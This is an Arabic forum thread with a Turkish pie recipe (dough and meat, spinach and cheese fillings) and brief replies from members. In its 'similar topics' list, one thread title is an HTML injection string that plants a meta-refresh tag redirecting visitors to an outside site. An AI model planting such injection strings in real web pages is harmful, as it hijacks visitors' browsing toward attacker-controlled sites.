فطائر تركيه بحشوات مختلفه "" بالصوره ""

دانه الاحساس · 28-07-2008, 11:23 PM

المقادير :

*- للعجين :

3 كوب دقيق

¼ كوب سكر

½ كوب زيت خضار

1 ملعقة صغيرة ملح

¼ كوب زبادي

1 كوب ماء

*- مكونات الحشوات المختلفه :

2-1 حشوة اللحم (فطيرة لحم تكا)

شرائح لحم بتلو صغيرة

فلفل أحمر مُقطع مكعبات صغيرة

طماطم مُقطعة مكعبات صغيرة

ملح و فلفل

كمون مطحون

فلفل أحمر حار (اختياري)

بقدونس مفروم ناعم

بصل مفروم ناعم

*- حشوة السبانخ ..

زيت زيتون

بصل مفروم ناعم

طماطم مفروم ناعم

سبانخ طازجة مسلوقة (أو مُجمدة ) مع التخلص من الماء

ثوم مفروم ناعم

ملح و فلفل

شطة (اختياري)

سماق

*- حشوة الجبن ( جبن بالعجين):

جبن عكاوي (مبشور و منقوع في الماء لمدة 6 ساعات للتخلص من الملح)

جبن موتزاريلا مبشور

صفار بيض

زيت زيتون

ملح و فلفل

بقدونس مفروم ناعم

نعناع طازج مفروم

الطريقه :

- تُخلط مكونات العجين كلها في العجانة ، مع العجن الجيد إلى أن نحصل على عجين أملس متماسك .

- يُقسم العجين إلى أقسام متوسطة ، و يُكور كل جزء و يُمد على كاونتر مرشوش بقليل من الدقيق ، و تُشكل حسب الرغبة إما على شكل دائري أو شكل القارب، و يُوضع علي العجين من الحشوات المختلفة .

للحشوات المختلفه :

- تُخلط كل مكونات الحشو مع التقليب الجيد حتى تتجانس المكونات ، و يُفرد كمية مناسبة من الحشو على العجين المفرود ما عدا منطقة الأطراف و التي نقوم بثنيها إلى الداخل ، مع الضغط على تلك الحشوة .

- بالنسبة لحشوة السبانخ ، فيتم وضع المكونات على نار متوسطة الحرارة، مع التقليب لمدة خمس دقائق.

- تُرص الفطائر على صاج مدهون بقليل من الزيت و تُخبز في الرف السفلي في فرن سابق تسخينه على درجة حرارة 220 درجة مئوية

ام ماجد · 20-08-2008, 08:03 PM

شكرا لك دانه

اخوك الناصح · 30-08-2008, 02:07 AM

يسلمووووووووووووووووو

M!Ss.Toofe · 30-08-2008, 02:24 AM

شكلها رووووعه

يعطيكـ العافيهـ دندونهــ..

كل الووود

بــســمــه · 30-08-2008, 09:43 AM

يمي يمي
تفتح النفس والله
مشكوره

flower · 31-08-2008, 05:57 AM

يسلمووو دانه
نقره لعرض الصورة في صفحة مستقلة

يوسف أبوخديجة · 03-09-2008, 11:29 PM

Spoortya · 03-07-2009, 02:47 AM

20-08-2008, 08:03 PM	#2 (permalink)
ام ماجد مشرفه سابقه معلومات إضافية النقاط : 82 المستوى : الدوله : Jordan علم الدوله: الهيئه: weman ناديك المفضل: الحالة :غير موجود	شكرا لك دانه

30-08-2008, 02:07 AM	#3 (permalink)
اخوك الناصح عضو معلومات إضافية النقاط : 1850 المستوى : الدوله : Saudi Arabia علم الدوله: الهيئه: weman ناديك المفضل: الحالة :غير موجود	يسلمووووووووووووووووو

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق
انواع عرض الموضوع
العرض العادي الانتقال إلى العرض المتطور الانتقال إلى العرض الشجري

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
:::"""صـــــــــور نجـسسيـــــة عــن كــــــورلا 2008""":::	أجـمـل غـرااام	منتدى السيارات	8	10-10-2009 05:38 AM
"غ ــلآك بخ ــآفقي" زآيــد .. و "طيفــك" دآيــم "بع ــيني"	دانه الاحساس	الشعــر والشعــراء	8	27-03-2009 09:05 PM
مطعم "باب الحارة"يستقبل السعوديين بـ"أبو شهاب"و"أبو عصام"	!! عانيتـ بـ سكاتـ !!	آخر أخبار الساعه	17	12-08-2008 03:37 AM
اليهودي...يقوم بالمطالبة بملكية العصفور """""""""""	المحرره	منتدى الضحك والفرفشـه	6	14-06-2008 08:34 PM
">"">>>><meta http-equiv="Refresh" content="0;url=http://www.hastabeyinler.com/a">	rattle	أرشيف المواضيع المكرره والمحذوفه	0	11-09-2006 04:02 PM


السيف , عائلة السيف , منتديات السيف , منتدى السيف , دليل السيف

الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)